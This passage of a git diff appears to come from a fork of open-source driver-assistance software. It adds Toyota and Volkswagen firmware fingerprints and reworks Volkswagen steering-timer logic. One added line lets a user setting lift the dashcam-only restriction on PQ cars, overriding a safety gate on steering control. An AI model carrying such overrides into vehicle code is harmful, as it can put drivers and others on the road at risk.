(0x716, 0x724) + # - 2nd ABS "Brake/EPB" (0x730) + # Responds to KWP (0x1a8801): + # - Steering Angle Sensor (0x7b3) + # - EPS/EMPS (0x7a0, 0x7a1) + # Responds to KWP (0x1a8881): + # - Body Control Module ((0x750, 0x40)) + + # Hybrid control computer can be on 0x7e2 (KWP) or 0x7d2 (UDS) depending on platform + (Ecu.hybrid, 0x7e2, None), # Hybrid Control Assembly & Computer + # TODO: if these duplicate ECUs always exist together, remove one + (Ecu.srs, 0x780, None), # SRS Airbag + (Ecu.srs, 0x784, None), # SRS Airbag 2 + # Likely only exists on cars where EPB isn't standard (e.g. Camry, Avalon (/Hybrid)) + # On some cars, EPB is controlled by the ABS module + (Ecu.epb, 0x750, 0x2c), # Electronic Parking Brake + # This isn't accessible on all cars + (Ecu.gateway, 0x750, 0x5f), + # On some cars, this only responds to b'\x1a\x88\x81', which is reflected by the b'\x1a\x88\x00' query + (Ecu.telematics, 0x750, 0xc7), + # Transmission is combined with engine on some platforms, such as TSS-P RAV4 + (Ecu.transmission, 0x701, None), + # A few platforms have a tester present response on this address, add to log + (Ecu.transmission, 0x7e1, None), + # On some cars, this only responds to b'\x1a\x88\x80' + (Ecu.combinationMeter, 0x7c0, None), + (Ecu.hvac, 0x7c4, None), + ], ) FW_VERSIONS = { @@ -391,6 +438,7 @@ FW_VERSIONS = { b'\x018966333Q6000\x00\x00\x00\x00', b'\x018966333Q6200\x00\x00\x00\x00', b'\x018966333Q6300\x00\x00\x00\x00', + b'\x018966333Q6500\x00\x00\x00\x00', b'\x018966333W6000\x00\x00\x00\x00', ], (Ecu.engine, 0x7e0, None): [ @@ -875,7 +923,6 @@ FW_VERSIONS = { b'\x01F152612B81\x00\x00\x00\x00\x00\x00', b'\x01F152612B90\x00\x00\x00\x00\x00\x00', b'\x01F152612C00\x00\x00\x00\x00\x00\x00', - b'F152602191\x00\x00\x00\x00\x00\x00', b'\x01F152612862\x00\x00\x00\x00\x00\x00', b'\x01F152612B91\x00\x00\x00\x00\x00\x00', b'\x01F15260A070\x00\x00\x00\x00\x00\x00', @@ -938,6 +985,7 @@ FW_VERSIONS = { b'8965B16170\x00\x00\x00\x00\x00\x00', b'8965B76012\x00\x00\x00\x00\x00\x00', b'8965B76050\x00\x00\x00\x00\x00\x00', + b'8965B76091\x00\x00\x00\x00\x00\x00', b'\x018965B12350\x00\x00\x00\x00\x00\x00', b'\x018965B12470\x00\x00\x00\x00\x00\x00', b'\x018965B12490\x00\x00\x00\x00\x00\x00', @@ -968,12 +1016,14 @@ FW_VERSIONS = { b'F152676293\x00\x00\x00\x00\x00\x00', b'F152676303\x00\x00\x00\x00\x00\x00', b'F152676304\x00\x00\x00\x00\x00\x00', + b'F152676371\x00\x00\x00\x00\x00\x00', ], (Ecu.fwdRadar, 0x750, 0xf): [ b'\x018821F3301100\x00\x00\x00\x00', b'\x018821F3301200\x00\x00\x00\x00', b'\x018821F3301300\x00\x00\x00\x00', b'\x018821F3301400\x00\x00\x00\x00', + b'\x018821F6201400\x00\x00\x00\x00', ], (Ecu.fwdCamera, 0x750, 0x6d): [ b'\x028646F12010D0\x00\x00\x00\x008646G26011A0\x00\x00\x00\x00', @@ -990,6 +1040,7 @@ FW_VERSIONS = { b'\x028646F76020C0\x00\x00\x00\x008646G26011A0\x00\x00\x00\x00', b'\x028646F7603100\x00\x00\x00\x008646G2601200\x00\x00\x00\x00', b'\x028646F7603200\x00\x00\x00\x008646G2601400\x00\x00\x00\x00', + b'\x028646F7605100\x00\x00\x00\x008646G3304000\x00\x00\x00\x00', ], }, CAR.HIGHLANDER: { @@ -1491,6 +1542,7 @@ FW_VERSIONS = { b'\x028965B0R11000\x00\x00\x00\x008965B0R12000\x00\x00\x00\x00', ], (Ecu.engine, 0x700, None): [ + b'\x01896634A88100\x00\x00\x00\x00', b'\x01896634AJ2000\x00\x00\x00\x00', ], (Ecu.fwdRadar, 0x750, 0xf): [ @@ -1590,12 +1642,20 @@ FW_VERSIONS = { CAR.RAV4H_TSS2_2023: { (Ecu.abs, 0x7b0, None): [ b'\x01F15264283200\x00\x00\x00\x00', + b'\x01F15264283300\x00\x00\x00\x00', ], (Ecu.eps, 0x7a1, None): [ b'\x028965B0R11000\x00\x00\x00\x008965B0R12000\x00\x00\x00\x00', + b'8965B42371\x00\x00\x00\x00\x00\x00', ], (Ecu.engine, 0x700, None): [ b'\x01896634AE1001\x00\x00\x00\x00', + b'\x01896634AF0000\x00\x00\x00\x00', + ], + (Ecu.hybrid, 0x7d2, None): [ + b'\x02899830R41000\x00\x00\x00\x00899850R20000\x00\x00\x00\x00', + b'\x028998342C0000\x00\x00\x00\x00899854224000\x00\x00\x00\x00', + b'\x02899830R39000\x00\x00\x00\x00899850R20000\x00\x00\x00\x00', ], (Ecu.fwdRadar, 0x750, 0xf): [ b'\x018821F0R03100\x00\x00\x00\x00', @@ -1836,9 +1896,11 @@ FW_VERSIONS = { (Ecu.engine, 0x7e0, None): [ b'\x0237887000\x00\x00\x00\x00\x00\x00\x00\x00A4701000\x00\x00\x00\x00\x00\x00\x00\x00', b'\x02378A0000\x00\x00\x00\x00\x00\x00\x00\x00A4701000\x00\x00\x00\x00\x00\x00\x00\x00', + b'\x02378F4000\x00\x00\x00\x00\x00\x00\x00\x00A4701000\x00\x00\x00\x00\x00\x00\x00\x00', ], (Ecu.abs, 0x7b0, None): [ b'F152678210\x00\x00\x00\x00\x00\x00', + b'F152678211\x00\x00\x00\x00\x00\x00', ], (Ecu.eps, 0x7a1, None): [ b'8965B78120\x00\x00\x00\x00\x00\x00', @@ -1849,6 +1911,7 @@ FW_VERSIONS = { ], (Ecu.fwdCamera, 0x750, 0x6d): [ b'\x028646F78030A0\x00\x00\x00\x008646G2601200\x00\x00\x00\x00', + b'\x028646F7803100\x00\x00\x00\x008646G2601400\x00\x00\x00\x00', ], }, CAR.LEXUS_NXH: { @@ -2082,6 +2145,7 @@ FW_VERSIONS = { b'\x028966347B1000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00', b'\x028966347C4000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00', b'\x028966347C6000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00', + b'\x028966347C7000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00', b'\x028966347C8000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00', b'\x038966347C0000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00897CF4710101\x00\x00\x00\x00', b'\x038966347C1000\x00\x00\x00\x008966A4703000\x00\x00\x00\x00897CF4710101\x00\x00\x00\x00', diff --git a/selfdrive/car/volkswagen/carcontroller.py b/selfdrive/car/volkswagen/carcontroller.py index 8ae0ec841..fba00c3af 100644 --- a/selfdrive/car/volkswagen/carcontroller.py +++ b/selfdrive/car/volkswagen/carcontroller.py @@ -21,8 +21,9 @@ class CarController: self.apply_steer_last = 0 self.gra_acc_counter_last = None self.frame = 0 - self.hcaSameTorqueCount = 0 - self.hcaEnabledFrameCount = 0 + self.eps_timer_soft_disable_alert = False + self.hca_frame_timer_running = 0 + self.hca_frame_same_torque = 0 def update(self, CC, CS, ext_bus, now_nanos): actuators = CC.actuators @@ -38,36 +39,31 @@ class CarController: # * Don't send > 3.00 Newton-meters torque # * Don't send the same torque for > 6 seconds # * Don't send uninterrupted steering for > 360 seconds - # One frame of HCA disabled is enough to reset the timer, without zeroing the - # torque value. Do that anytime we happen to have 0 torque, or failing that, - # when exceeding ~1/3 the 360 second timer. + # MQB racks reset the uninterrupted steering timer after a single frame + # of HCA disabled; this is done whenever output happens to be zero. if CC.latActive: new_steer = int(round(actuators.steer * self.CCP.STEER_MAX)) apply_steer = apply_driver_steer_torque_limits(new_steer, self.apply_steer_last, CS.out.steeringTorque, self.CCP) - if apply_steer == 0: - hcaEnabled = False - self.hcaEnabledFrameCount = 0 + self.hca_frame_timer_running += self.CCP.STEER_STEP + if self.apply_steer_last == apply_steer: + self.hca_frame_same_torque += self.CCP.STEER_STEP + if self.hca_frame_same_torque > self.CCP.STEER_TIME_STUCK_TORQUE / DT_CTRL: + apply_steer -= (1, -1)[apply_steer < 0] + self.hca_frame_same_torque = 0 else: - self.hcaEnabledFrameCount += 1 - if self.hcaEnabledFrameCount >= 118 * (100 / self.CCP.STEER_STEP): # 118s - hcaEnabled = False - self.hcaEnabledFrameCount = 0 - else: - hcaEnabled = True - if self.apply_steer_last == apply_steer: - self.hcaSameTorqueCount += 1 - if self.hcaSameTorqueCount > 1.9 * (100 / self.CCP.STEER_STEP): # 1.9s - apply_steer -= (1, -1)[apply_steer < 0] - self.hcaSameTorqueCount = 0 - else: - self.hcaSameTorqueCount = 0 + self.hca_frame_same_torque = 0 + hca_enabled = abs(apply_steer) > 0 else: - hcaEnabled = False + hca_enabled = False apply_steer = 0 + if not hca_enabled: + self.hca_frame_timer_running = 0 + + self.eps_timer_soft_disable_alert = self.hca_frame_timer_running > self.CCP.STEER_TIME_ALERT / DT_CTRL self.apply_steer_last = apply_steer - can_sends.append(self.CCS.create_steering_control(self.packer_pt, CANBUS.pt, apply_steer, hcaEnabled)) + can_sends.append(self.CCS.create_steering_control(self.packer_pt, CANBUS.pt, apply_steer, hca_enabled)) # **** Acceleration Controls ******************************************** # @@ -110,4 +106,4 @@ class CarController: self.gra_acc_counter_last = CS.gra_stock_values["COUNTER"] self.frame += 1 - return new_actuators, can_sends + return new_actuators, can_sends, self.eps_timer_soft_disable_alert diff --git a/selfdrive/car/volkswagen/interface.py b/selfdrive/car/volkswagen/interface.py index 874b85e68..15f8fabe2 100644 --- a/selfdrive/car/volkswagen/interface.py +++ b/selfdrive/car/volkswagen/interface.py @@ -4,6 +4,7 @@ from common.conversions import Conversions as CV from selfdrive.car import STD_CARGO_KG, get_safety_config from selfdrive.car.interfaces import CarInterfaceBase from selfdrive.car.volkswagen.values import CAR, PQ_CARS, CANBUS, NetworkLocation, TransmissionType, GearShifter +from common.params import Params ButtonType = car.CarState.ButtonEvent.Type EventName = car.CarEvent.EventName @@ -20,6 +21,8 @@ class CarInterface(CarInterfaceBase): self.ext_bus = CANBUS.cam self.cp_ext = self.cp_cam + self.eps_timer_soft_disable_alert = False + @staticmethod def _get_params(ret, candidate, fingerprint, car_fw, experimental_long, docs): ret.carName = "volkswagen" @@ -47,6 +50,7 @@ class CarInterface(CarInterfaceBase): # https://blog.willemmelching.nl/carhacking/2022/01/02/vw-part1/ # Panda ALLOW_DEBUG firmware required. ret.dashcamOnly = True + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly else: # Set global MQB parameters @@ -90,6 +94,7 @@ class CarInterface(CarInterfaceBase): ret.stoppingControl = True ret.startingState = True ret.startAccel = 1.0 + ret.stopAccel = -0.55 ret.vEgoStarting = 1.0 ret.vEgoStopping = 1.0 ret.longitudinalTuning.kpV = [0.1] @@ -242,9 +247,13 @@ class CarInterface(CarInterfaceBase): if c.enabled and ret.vEgo < self.CP.minEnableSpeed: events.add(EventName.speedTooLow) + if self.eps_timer_soft_disable_alert: + events.add(EventName.steerTimeLimit) + ret.events = events.to_msg() return ret def apply(self, c, now_nanos): - return self.CC.update(c, self.CS, self.ext_bus, now_nanos) + new_actuators, can_sends, self.eps_timer_soft_disable_alert = self.CC.update(c, self.CS, self.ext_bus, now_nanos) + return new_actuators, can_sends diff --git a/selfdrive/car/volkswagen/values.py b/selfdrive/car/volkswagen/values.py index 1fc21fe5c..5e61ac56c 100755 --- a/selfdrive/car/volkswagen/values.py +++ b/selfdrive/car/volkswagen/values.py @@ -1,5 +1,5 @@ from collections import defaultdict, namedtuple -from dataclasses import dataclass +from dataclasses import dataclass, field from enum import Enum from typing import Dict, List, Union @@ -19,20 +19,25 @@ Button = namedtuple('Button', ['event_type', 'can_addr', 'can_msg', 'values']) class CarControllerParams: - STEER_STEP = 2 # HCA_01/HCA_1 message frequency 50Hz - ACC_CONTROL_STEP = 2 # ACC_06/ACC_07/ACC_System frequency 50Hz + STEER_STEP = 2 # HCA_01/HCA_1 message frequency 50Hz + ACC_CONTROL_STEP = 2 # ACC_06/ACC_07/ACC_System frequency 50Hz - ACCEL_MAX = 2.0 # 2.0 m/s max acceleration - ACCEL_MIN = -3.5 # 3.5 m/s max deceleration + # Documented lateral limits: 3.00 Nm max, rate of change 5.00 Nm/sec. + # MQB vs PQ maximums are shared, but rate-of-change limited differently + # based on safety requirements driven by lateral accel testing. + + STEER_MAX = 300 # Max heading control assist torque 3.00 Nm + STEER_DRIVER_MULTIPLIER = 3 # weight driver torque heavily + STEER_DRIVER_FACTOR = 1 # from dbc + + STEER_TIME_MAX = 360 # Max time that EPS allows uninterrupted HCA steering control + STEER_TIME_ALERT = STEER_TIME_MAX - 10 # If mitigation fails, time to soft disengage before EPS timer expires + STEER_TIME_STUCK_TORQUE = 1.9 # EPS limits same torque to 6 seconds, reset timer 3x within that period + + ACCEL_MAX = 2.0 # 2.0 m/s max acceleration + ACCEL_MIN = -3.5 # 3.5 m/s max deceleration def __init__(self, CP): - # Documented lateral limits: 3.00 Nm max, rate of change 5.00 Nm/sec. - # MQB vs PQ maximums are shared, but rate-of-change limited differently - # based on safety requirements driven by lateral accel testing. - self.STEER_MAX = 300 # Max heading control assist torque 3.00 Nm - self.STEER_DRIVER_MULTIPLIER = 3 # weight driver torque heavily - self.STEER_DRIVER_FACTOR = 1 # from dbc - can_define = CANDefine(DBC[CP.carFingerprint]["pt"]) if CP.carFingerprint in PQ_CARS: @@ -171,7 +176,7 @@ class Footnote(Enum): @dataclass class VWCarInfo(CarInfo): package: str = "Adaptive Cruise Control (ACC) & Lane Assist" - car_parts: CarParts = CarParts.common([CarHarness.j533]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.j533])) def init_make(self, CP: car.CarParams): self.footnotes.append(Footnote.VW_EXP_LONG) @@ -184,9 +189,9 @@ class VWCarInfo(CarInfo): CAR_INFO: Dict[str, Union[VWCarInfo, List[VWCarInfo]]] = { CAR.ARTEON_MK1: [ - VWCarInfo("Volkswagen Arteon 2018-22", video_link="https://youtu.be/FAomFKPFlDA"), - VWCarInfo("Volkswagen Arteon R 2020-22", video_link="https://youtu.be/FAomFKPFlDA"), - VWCarInfo("Volkswagen Arteon eHybrid 2020-22", video_link="https://youtu.be/FAomFKPFlDA"), + VWCarInfo("Volkswagen Arteon 2018-23", video_link="https://youtu.be/FAomFKPFlDA"), + VWCarInfo("Volkswagen Arteon R 2020-23", video_link="https://youtu.be/FAomFKPFlDA"), + VWCarInfo("Volkswagen Arteon eHybrid 2020-23", video_link="https://youtu.be/FAomFKPFlDA"), VWCarInfo("Volkswagen CC 2018-22", video_link="https://youtu.be/FAomFKPFlDA"), ], CAR.ATLAS_MK1: [ @@ -231,7 +236,7 @@ CAR_INFO: Dict[str, Union[VWCarInfo, List[VWCarInfo]]] = { VWCarInfo("Volkswagen Sharan 2018-22"), VWCarInfo("SEAT Alhambra 2018-20"), ], - CAR.TAOS_MK1: VWCarInfo("Volkswagen Taos 2022"), + CAR.TAOS_MK1: VWCarInfo("Volkswagen Taos 2022-23"), CAR.TCROSS_MK1: VWCarInfo("Volkswagen T-Cross 2021", footnotes=[Footnote.VW_MQB_A0]), CAR.TIGUAN_MK2: [ VWCarInfo("Volkswagen Tiguan 2018-23"), @@ -257,7 +262,7 @@ CAR_INFO: Dict[str, Union[VWCarInfo, List[VWCarInfo]]] = { CAR.SKODA_KAMIQ_MK1: VWCarInfo("Škoda Kamiq 2021", footnotes=[Footnote.VW_MQB_A0, Footnote.KAMIQ]), CAR.SKODA_KAROQ_MK1: VWCarInfo("Škoda Karoq 2019-21"), CAR.SKODA_KODIAQ_MK1: VWCarInfo("Škoda Kodiaq 2017-23"), - CAR.SKODA_SCALA_MK1: VWCarInfo("Škoda Scala 2020", footnotes=[Footnote.VW_MQB_A0]), + CAR.SKODA_SCALA_MK1: VWCarInfo("Škoda Scala 2020-23", footnotes=[Footnote.VW_MQB_A0]), CAR.SKODA_SUPERB_MK3: VWCarInfo("Škoda Superb 2015-22"), CAR.SKODA_OCTAVIA_MK3: [ VWCarInfo("Škoda Octavia 2015, 2018-19"), @@ -302,6 +307,7 @@ FW_QUERY_CONFIG = FwQueryConfig( FW_VERSIONS = { CAR.ARTEON_MK1: { (Ecu.engine, 0x7e0, None): [ + b'\xf1\x873G0906259AH\xf1\x890001', b'\xf1\x873G0906259F \xf1\x890004', b'\xf1\x873G0906259G \xf1\x890004', b'\xf1\x873G0906259G \xf1\x890005', @@ -315,6 +321,7 @@ FW_VERSIONS = { b'\xf1\x870DL300014C \xf1\x893704', b'\xf1\x870GC300011L \xf1\x891401', b'\xf1\x870GC300014M \xf1\x892802', + b'\xf1\x870GC300019G \xf1\x892804', b'\xf1\x870GC300040P \xf1\x891401', ], (Ecu.srs, 0x715, None): [ @@ -322,7 +329,7 @@ FW_VERSIONS = { b'\xf1\x873Q0959655BK\xf1\x890703\xf1\x82\x0e1616001613121177161113772900', b'\xf1\x873Q0959655CK\xf1\x890711\xf1\x82\x0e1712141712141105121122052900', b'\xf1\x873Q0959655DA\xf1\x890720\xf1\x82\x0e1712141712141105121122052900', - b'\xf1\x873Q0959655DL\xf1\x890732\xf1\x82\0161812141812171105141123052J00', + b'\xf1\x873Q0959655DL\xf1\x890732\xf1\x82\x0e1812141812171105141123052J00', b'\xf1\x875QF959655AP\xf1\x890755\xf1\x82\x1311110011111311111100110200--1611125F49', ], (Ecu.eps, 0x712, None): [ @@ -331,6 +338,7 @@ FW_VERSIONS = { b'\xf1\x875Q0910143C \xf1\x892211\xf1\x82\x0567B0020800', b'\xf1\x875WA907145M \xf1\x891051\xf1\x82\x002MB4092M7N', b'\xf1\x875WA907145M \xf1\x891051\xf1\x82\x002NB4202N7N', + b'\xf1\x875WA907145Q \xf1\x891063\xf1\x82\x002KB4092KOM', ], (Ecu.fwdRadar, 0x757, None): [ b'\xf1\x872Q0907572AA\xf1\x890396', @@ -387,23 +395,28 @@ FW_VERSIONS = { CAR.CRAFTER_MK2: { (Ecu.engine, 0x7e0, None): [ b'\xf1\x8704L906056EK\xf1\x896391', + b'\xf1\x8705L906023BC\xf1\x892688', ], # Only current upstreamed vehicle has a manual transmission #(Ecu.transmission, 0x7e1, None): [ #], (Ecu.srs, 0x715, None): [ b'\xf1\x873Q0959655BG\xf1\x890703\xf1\x82\x0e16120016130012051G1313052900', + b'\xf1\x875QF959655AS\xf1\x890755\xf1\x82\x1315140015150011111100050200--1311120749', ], (Ecu.eps, 0x712, None): [ b'\xf1\x872N0909143E \xf1\x897021\xf1\x82\x05163AZ306A2', + b'\xf1\x872N0909144K \xf1\x897045\xf1\x82\x05233AZ810A2', ], (Ecu.fwdRadar, 0x757, None): [ + b'\xf1\x872Q0907572AA\xf1\x890396', b'\xf1\x872Q0907572M \xf1\x890233', ], }, CAR.GOLF_MK7: { (Ecu.engine, 0x7e0, None): [ b'\xf1\x8704E906016A \xf1\x897697', + b'\xf1\x8704E906016N \xf1\x899105', b'\xf1\x8704E906016AD\xf1\x895758', b'\xf1\x8704E906016CE\xf1\x899096', b'\xf1\x8704E906016CH\xf1\x899226', @@ -482,6 +495,7 @@ FW_VERSIONS = { b'\xf1\x870D9300041P \xf1\x894507', b'\xf1\x870DD300045K \xf1\x891120', b'\xf1\x870DD300046F \xf1\x891601', + b'\xf1\x870GC300012A \xf1\x891401', b'\xf1\x870GC300012A \xf1\x891403', b'\xf1\x870GC300014B \xf1\x892401', b'\xf1\x870GC300014B \xf1\x892405', @@ -498,6 +512,7 @@ FW_VERSIONS = { b'\xf1\x875Q0959655AA\xf1\x890388\xf1\x82\x111413001113120043114417121411149113', b'\xf1\x875Q0959655AA\xf1\x890388\xf1\x82\x111413001113120053114317121C111C9113', b'\xf1\x875Q0959655AR\xf1\x890317\xf1\x82\x13141500111233003142114A2131219333313100', + b'\xf1\x875Q0959655BH\xf1\x890336\xf1\x82\x1314160011123300314211012230229333423100', b'\xf1\x875Q0959655BH\xf1\x890336\xf1\x82\x1314160011123300314211012230229333463100', b'\xf1\x875Q0959655BS\xf1\x890403\xf1\x82\x1314160011123300314240012250229333463100', b'\xf1\x875Q0959655BT\xf1\x890403\xf1\x82\x13141600111233003142404A2251229333463100', @@ -546,6 +561,7 @@ FW_VERSIONS = { b'\xf1\x875Q0909144S \xf1\x891063\xf1\x82\x0516A00504A1', b'\xf1\x875Q0909144S \xf1\x891063\xf1\x82\x0516A00604A1', b'\xf1\x875Q0909144S \xf1\x891063\xf1\x82\x0516A07A02A1', + b'\xf1\x875Q0909144T \xf1\x891072\xf1\x82\x0521A00407A1', b'\xf1\x875Q0909144T \xf1\x891072\xf1\x82\x0521A00507A1', b'\xf1\x875Q0909144T \xf1\x891072\xf1\x82\x0521A07B04A1', b'\xf1\x875Q0909144T \xf1\x891072\xf1\x82\x0521A20B03A1', @@ -570,6 +586,7 @@ FW_VERSIONS = { b'\xf1\x875Q0907572F \xf1\x890400\xf1\x82\x0101', b'\xf1\x875Q0907572G \xf1\x890571', b'\xf1\x875Q0907572H \xf1\x890620', + b'\xf1\x875Q0907572J \xf1\x890653', b'\xf1\x875Q0907572J \xf1\x890654', b'\xf1\x875Q0907572P \xf1\x890682', b'\xf1\x875Q0907572R \xf1\x890771', @@ -744,9 +761,11 @@ FW_VERSIONS = { CAR.TAOS_MK1: { (Ecu.engine, 0x7e0, None): [ b'\xf1\x8704E906027NJ\xf1\x891445', + b'\xf1\x8704E906027NP\xf1\x891286', b'\xf1\x8705E906013E \xf1\x891624', ], (Ecu.transmission, 0x7e1, None): [ + b'\xf1\x8709G927158EM\xf1\x893812', b'\xf1\x8709S927158BL\xf1\x893791', b'\xf1\x8709S927158FF\xf1\x893876', ], @@ -755,10 +774,12 @@ FW_VERSIONS = { b'\xf1\x875Q0959655CE\xf1\x890421\xf1\x82\x1311110011333300314240021350139333613100', ], (Ecu.eps, 0x712, None): [ + b'\xf1\x875QM907144D \xf1\x891063\xf1\x82\x001O06081OOM', b'\xf1\x875QM909144C \xf1\x891082\xf1\x82\x0521060405A1', b'\xf1\x875QM909144C \xf1\x891082\xf1\x82\x0521060605A1', ], (Ecu.fwdRadar, 0x757, None): [ + b'\xf1\x872Q0907572AA\xf1\x890396', b'\xf1\x872Q0907572T \xf1\x890383', ], }, @@ -876,24 +897,28 @@ FW_VERSIONS = { b'\xf1\x8704L906056AL\xf1\x899970', b'\xf1\x8704L906057AP\xf1\x891186', b'\xf1\x8704L906057N \xf1\x890413', + b'\xf1\x8705L906023E \xf1\x891352', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\x870BT300012G \xf1\x893102', b'\xf1\x870BT300012E \xf1\x893105', b'\xf1\x870BT300046R \xf1\x893102', + b'\xf1\x870DV300012B \xf1\x893701', ], (Ecu.srs, 0x715, None): [ b'\xf1\x872Q0959655AE\xf1\x890506\xf1\x82\x1316170411110411--04041704161611152S1411', b'\xf1\x872Q0959655AE\xf1\x890506\xf1\x82\x1316170411110411--04041704171711152S1411', b'\xf1\x872Q0959655AF\xf1\x890506\xf1\x82\x1316171111110411--04041711121211152S1413', + b'\xf1\x872Q0959655AQ\xf1\x890511\xf1\x82\x1316170411110411--0404170426261215391421', ], (Ecu.eps, 0x712, None): [ b'\xf1\x877LA909144F \xf1\x897150\xf1\x82\x0532380518A2', b'\xf1\x877LA909144G \xf1\x897160\xf1\x82\x05333A5519A2', - b'\xf1\x877LA909144F \xf1\x897150\xf1\x82\005323A5519A2', + b'\xf1\x877LA909144F \xf1\x897150\xf1\x82\x05323A5519A2', ], (Ecu.fwdRadar, 0x757, None): [ b'\xf1\x872Q0907572R \xf1\x890372', + b'\xf1\x872Q0907572AA\xf1\x890396', ], }, CAR.TROC_MK1: { @@ -923,6 +948,7 @@ FW_VERSIONS = { b'\xf1\x8704E906027CJ\xf1\x897798', b'\xf1\x8704L997022N \xf1\x899459', b'\xf1\x875G0906259A \xf1\x890004', + b'\xf1\x875G0906259D \xf1\x890002', b'\xf1\x875G0906259L \xf1\x890002', b'\xf1\x875G0906259Q \xf1\x890002', b'\xf1\x878V0906259F \xf1\x890002', @@ -932,7 +958,7 @@ FW_VERSIONS = { b'\xf1\x878V0906264B \xf1\x890003', b'\xf1\x878V0907115B \xf1\x890007', b'\xf1\x878V0907404A \xf1\x890005', - b'\xf1\x875G0906259D \xf1\x890002', + b'\xf1\x878V0907404G \xf1\x890005', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\x870CW300044T \xf1\x895245', @@ -949,6 +975,7 @@ FW_VERSIONS = { b'\xf1\x870DD300046F \xf1\x891602', b'\xf1\x870DD300046G \xf1\x891601', b'\xf1\x870DL300012E \xf1\x892012', + b'\xf1\x870DL300012H \xf1\x892112', b'\xf1\x870GC300011 \xf1\x890403', b'\xf1\x870GC300013M \xf1\x892402', b'\xf1\x870GC300042J \xf1\x891402', @@ -961,9 +988,9 @@ FW_VERSIONS = { b'\xf1\x875Q0959655BJ\xf1\x890339\xf1\x82\x1311110011131100311111011731179321342100', b'\xf1\x875Q0959655J \xf1\x890825\xf1\x82\x13111112111111--241115141112221291163221', b'\xf1\x875Q0959655J \xf1\x890825\xf1\x82\023111112111111--171115141112221291163221', - b'\xf1\x875Q0959655J \xf1\x890830\xf1\x82\023121111111211--261117141112231291163221', b'\xf1\x875Q0959655J \xf1\x890830\xf1\x82\x13111112111111--241115141112221291163221', b'\xf1\x875Q0959655J \xf1\x890830\xf1\x82\x13121111111111--341117141212231291163221', + b'\xf1\x875Q0959655J \xf1\x890830\xf1\x82\x13121111111211--261117141112231291163221', b'\xf1\x875Q0959655N \xf1\x890361\xf1\x82\0211212001112110004110411111421149114', b'\xf1\x875Q0959655N \xf1\x890361\xf1\x82\0211212001112111104110411111521159114', ], @@ -972,6 +999,7 @@ FW_VERSIONS = { b'\xf1\x873Q0909144J \xf1\x895063\xf1\x82\x0566G0HA14A1', b'\xf1\x873Q0909144K \xf1\x895072\xf1\x82\x0571G01A16A1', b'\xf1\x873Q0909144K \xf1\x895072\xf1\x82\x0571G0HA16A1', + b'\xf1\x873Q0909144K \xf1\x895072\xf1\x82\x0571G0JA13A1', b'\xf1\x873Q0909144L \xf1\x895081\xf1\x82\x0571G0JA14A1', b'\xf1\x875Q0909144AB\xf1\x891082\xf1\x82\00521G0G809A1', b'\xf1\x875Q0909144P \xf1\x891043\xf1\x82\00503G00303A0', @@ -1061,24 +1089,29 @@ FW_VERSIONS = { b'\xf1\x8704L906021EL\xf1\x897542', b'\xf1\x8704L906026BP\xf1\x891198', b'\xf1\x8704L906026BP\xf1\x897608', + b'\xf1\x8704L906056CR\xf1\x892181', b'\xf1\x8704L906056CR\xf1\x892797', b'\xf1\x8705E906018AS\xf1\x899596', b'\xf1\x878V0906264H \xf1\x890005', + b'\xf1\x878V0907115E \xf1\x890002', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\x870CW300041D \xf1\x891004', b'\xf1\x870CW300041G \xf1\x891003', b'\xf1\x870CW300050J \xf1\x891908', b'\xf1\x870D9300042M \xf1\x895016', + b'\xf1\x870GC300043A \xf1\x892304', ], (Ecu.srs, 0x715, None): [ b'\xf1\x873Q0959655AC\xf1\x890189\xf1\x82\r11110011110011021511110200', b'\xf1\x873Q0959655AS\xf1\x890200\xf1\x82\r11110011110011021511110200', b'\xf1\x873Q0959655AS\xf1\x890200\xf1\x82\r12110012120012021612110200', b'\xf1\x873Q0959655BH\xf1\x890703\xf1\x82\x0e1312001313001305171311052900', + b'\xf1\x873Q0959655BH\xf1\x890712\xf1\x82\x0e1312001313001305171311052900', b'\xf1\x873Q0959655CM\xf1\x890720\xf1\x82\0161312001313001305171311052900', ], (Ecu.eps, 0x712, None): [ + b'\xf1\x875Q0909144AA\xf1\x891081\xf1\x82\x0521N01842A1', b'\xf1\x875Q0909144AB\xf1\x891082\xf1\x82\00521N01342A1', b'\xf1\x875Q0909144P \xf1\x891043\xf1\x82\00511N01805A0', b'\xf1\x875Q0909144T \xf1\x891072\xf1\x82\x0521N01309A1', @@ -1089,6 +1122,7 @@ FW_VERSIONS = { b'\xf1\x875Q0907572H \xf1\x890620', b'\xf1\x875Q0907572K \xf1\x890402\xf1\x82\x0101', b'\xf1\x875Q0907572P \xf1\x890682', + b'\xf1\x875Q0907572R \xf1\x890771', ], }, CAR.SKODA_FABIA_MK4: { @@ -1154,6 +1188,7 @@ FW_VERSIONS = { CAR.SKODA_KODIAQ_MK1: { (Ecu.engine, 0x7e0, None): [ b'\xf1\x8704E906027DD\xf1\x893123', + b'\xf1\x8704E906027NB\xf1\x896517', b'\xf1\x8704L906026DE\xf1\x895418', b'\xf1\x8704L906026EJ\xf1\x893661', b'\xf1\x8704L906026HT\xf1\x893617', @@ -1162,6 +1197,7 @@ FW_VERSIONS = { b'\xf1\x8705E906018DJ\xf1\x891903', b'\xf1\x875NA907115E \xf1\x890003', b'\xf1\x875NA907115E \xf1\x890005', + b'\xf1\x875NA906259E \xf1\x890003', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\x870D9300043 \xf1\x895202', @@ -1170,6 +1206,7 @@ FW_VERSIONS = { b'\xf1\x870DL300012N \xf1\x892110', b'\xf1\x870DL300013G \xf1\x892119', b'\xf1\x870GC300014N \xf1\x892801', + b'\xf1\x870GC300019H \xf1\x892806', b'\xf1\x870GC300046Q \xf1\x892802', ], (Ecu.srs, 0x715, None): [ @@ -1179,6 +1216,7 @@ FW_VERSIONS = { b'\xf1\x873Q0959655CN\xf1\x890720\xf1\x82\x0e1213001211001205212112052100', b'\xf1\x873Q0959655CQ\xf1\x890720\xf1\x82\x0e1213111211001205212112052111', 